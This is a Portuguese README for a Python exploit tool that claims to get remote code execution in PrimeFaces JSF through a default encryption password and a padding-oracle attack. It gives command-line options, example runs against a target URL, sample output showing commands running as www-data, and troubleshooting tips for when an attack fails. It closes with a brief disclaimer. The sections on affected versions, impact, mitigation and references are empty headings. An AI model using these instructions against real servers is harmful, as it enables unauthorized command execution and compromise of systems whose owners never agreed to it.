
Python-based exploit for CVE-2020-1039909, a remote code execution vulnerability in Primefaces JSF. Executes arbitrary commands via padding oracle attack, with options for proxy, cookies, and POC mode.
README - CVE-2020-1039909 Primefaces Remote Code Execution
============================================================
SOBRE A VULNERABILIDADE
CVE-2020-1039909 e uma vulnerabilidade de execucao remota de codigo (RCE) no framework Primefaces JSF. A falha permite que um atacante execute comandos arbitrarios no servidor atraves de um ataque de Padding Oracle, devido ao uso de criptografia fraca e senha padrao.
Versoes afetadas:
Impacto:
============================================================
PRE-REQUISITOS
Instalacao das dependencias:
pip install requests pycryptodome paddingoracle
============================================================
COMANDOS DISPONIVEIS
Parametros basicos:
target URL do alvo (ex: http://target.com) -pw, --password Senha do Primefaces (padrao: primefaces) -pt, --path Caminho para dynamiccontent.properties (padrao: /javax.faces.resource/dynamiccontent.properties.xhtml) -c, --cmd Comando a executar (padrao: whoami) -poc, --poc Usar payload de teste (apenas verifica vulnerabilidade) -px, --proxy Configurar proxy (ex: http://127.0.0.1:8080) -ck, --cookie Configurar cookie -o, --oracle Ativar ataque Padding Oracle (1 = ativado, 0 = desativado) (PADRAO: 0) (LENTO) -pl, --payload Payload EL criptografado (para usar com Padding Oracle)
============================================================
EXEMPLOS DE USO
python3 exploit.py http://target.com
python3 exploit.py http://target.com -c "id"
python3 exploit.py http://target.com --poc
python3 exploit.py http://target.com -px http://127.0.0.1:8080
python3 exploit.py http://target.com -ck "JSESSIONID=xxx"
python3 exploit.py http://target.com -o 1 -c "whoami"
python3 exploit.py http://target.com -pl "payload_criptografado"
============================================================
EXEMPLO DE SAIDA
$ python3 exploit.py http://target.com -c "id"
[] Generated Encrypted Payload: xyz123... [] Attempting to execute: id
POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 ...
HTTP/1.1 200 OK ...
[+] Exploit Result:
HTTP/1.1 200 OK ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
MODO POC (TESTE DE VULNERABILIDADE)
O modo POC apenas verifica se o alvo e vulneravel sem executar comandos perigosos:
python3 exploit.py http://target.com --poc
Saida esperada se vulneravel:
[+] BANG!!! :D - Target IS VULNERABLE!!!
Saida se nao vulneravel:
[-] Target Probably NOT VULNERABLE :-(
============================================================
PADDING ORACLE (MODO LENTO)
Se o ataque padrao nao funcionar (response body vazio), tente o modo Padding Oracle. Este modo e mais lento porem mais eficaz:
python3 exploit.py http://target.com -o 1 -c "whoami"
============================================================
PROXY E DEBUG
Para analisar as requisicoes com Burp Suite:
python3 exploit.py http://target.com -px http://127.0.0.1:8080
============================================================
ERROS COMUNS E SOLUCOES
"Response body empty... Target might not be vulnerable" Tente o modo Padding Oracle: -o 1
"Target Probably NOT VULNERABLE" O alvo pode estar patcheado ou nao usa a senha padrao
"Connection refused" Verifique se o alvo esta acessivel
"SSL Error" Use http em vez de https ou ignore certificados
============================================================
DICAS PARA EXPLORACAO
============================================================
DISCLAIMER
Este software e fornecido para fins educacionais e de teste. O autor nao se responsabiliza por qualquer dano, prejuizo ou consequencia decorrente do uso indevido desta ferramenta.
O usuario e o unico responsavel por suas acoes. O uso deste exploit em sistemas sem autorizacao e ilegal e pode resultar em penalidades civis e criminais.
Use com responsabilidade e etica. O conhecimento e para ser compartilhado, mas a sabedoria esta em saber como e quando usa-lo.
============================================================
MITIGACAO (PARA ADMINISTRADORES)
============================================================
REFERENCIAS
============================================================
Developed by byt3l0rd